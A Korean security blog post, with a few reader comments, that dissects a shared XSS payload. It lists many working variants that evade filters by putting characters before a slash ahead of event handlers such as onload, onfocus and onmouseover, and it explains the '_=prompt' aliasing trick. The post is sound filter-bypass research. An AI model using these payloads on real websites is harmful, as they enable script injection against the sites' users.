어제(?) 아침 단톡방에 oioi로 부터 XSS 페이로드를 하나 공유받았습니다.

<svg </onload ="1> (_=prompt,_(1)) "">


특이한 부분이 2가지가 있는데, 내용 한번 살펴보도록 하겠습니다. 

저 순간은 굉장히 신기했지만.. 지금은 조금 허무합니다 =_=


Event Handler 우회 패턴

기존 svg/onload 구문과 유사하지만, 이벤트 핸들러 필터링을 우회할 수 있고, 구문 필터링 또한 어느정도 제어가 가능합니다. 

<svg </onload ="1> (_=prompt,_(1)) "">



첫번째로 눈여겨 봐야할 부분은 </ 로 onload를 이벤트 핸들러로 넘겨준 방법입니다. 처음에는 (_=prompt 구문이랑 조합이 되어서 필터링이 풀리나 생각이 들었는데, 아래와 같이 제외하고 사용하여도 동작합니다. 

<svg </onload ="1> alert(45) "">

<svg </onload ="alert(45) ">

뒤쪽 페이로드 부분이랑은 상관이 없다 소리니, 즉 </ 특수문자가 이벤트핸들러로 만들어 줄 수 있다는 의미로 해석됩니다. 

<svg ^/onload =" alert(45) "> 

<svg &/onload =" alert(45) ">

<svg */onload =" alert(45) ">

<svg %/onload =" alert(45) ">

<svg $/onload =" alert(45) ">

<svg #/onload =" alert(45) ">

<svg @/onload =" alert(45) ">

<svg !/onload =" alert(45) ">

<svg hahwul/onload =" alert(45) ">

<iframe hahwul/src ="javascript:alert(45)">

<iframe hahwul/onmouseover =" alert(45) " scr=z>

<input hahwul/onfocus="alert(45)" autofocus>

모두 alert(45)가 실행됩니다. 즉 태그와 / 사이에 문자가 들어가는 경우 마치 태그와 /가 붙어있는 것 처럼 속성으로 분리되고 정상적이지 않은 이벤트 핸들러 처럼 보이는 동작하는 이벤트 핸들러를 만들 수 있습니다.

다만 모든 태그에서 가능한 것은 아닙니다. 이미지 태그로는 안되네요. 

<img hahwul/onerror =" alert(45) " scr=z>  <!-- Not Running -->


정리하자면, slash 앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지합니다. 

자바스크립트 구간 1> (_=prompt,_(1)) 

두번째 포인트는 Javascript 코드 부분입니다. 

1> (_=prompt,_(1)) 

내용만 보면 1과 (_=prompt,_(1)) 를 비교합니다. 앞부분은 중요하지 않고 핵심이 되는 부분은 (_=prompt,_(1)) 인데요.  구문을 콘솔로 보니... 




어? _ 에 function이 들어갔네요. 결국은 _ 라는 변수에 prompt 함수를 넣고 _(1) 형태로 실행한 케이스입니다. 간단한 트릭이지만 코드단 필터링을 푸는데는 도움이 되는 부분이긴합니다. 


댓글 4개:

  1. 두번째 것은 신박하군요. 펑션을 활용하다니.. ㅎㅎ

    답글삭제
    답글
    1. 자바크스립트가 참 재미있죠.
      다른 언어에선 이런식으로 들어가면.. 대체로 함수의 리턴값이 일반적인데..

      def ab()
      return 1
      end

      a = ab

      => result: a에 1

      자바스크립트는 함수를 값으로 사용할 수 있죠. 그러다보니 저런 재미있는 구문이 나온 것 같아요 :)

      삭제
  2. 눈팅만 하다가 글 남겨요 ㅎㅎ 항상 좋은 글 감사합니다 ~!

    답글삭제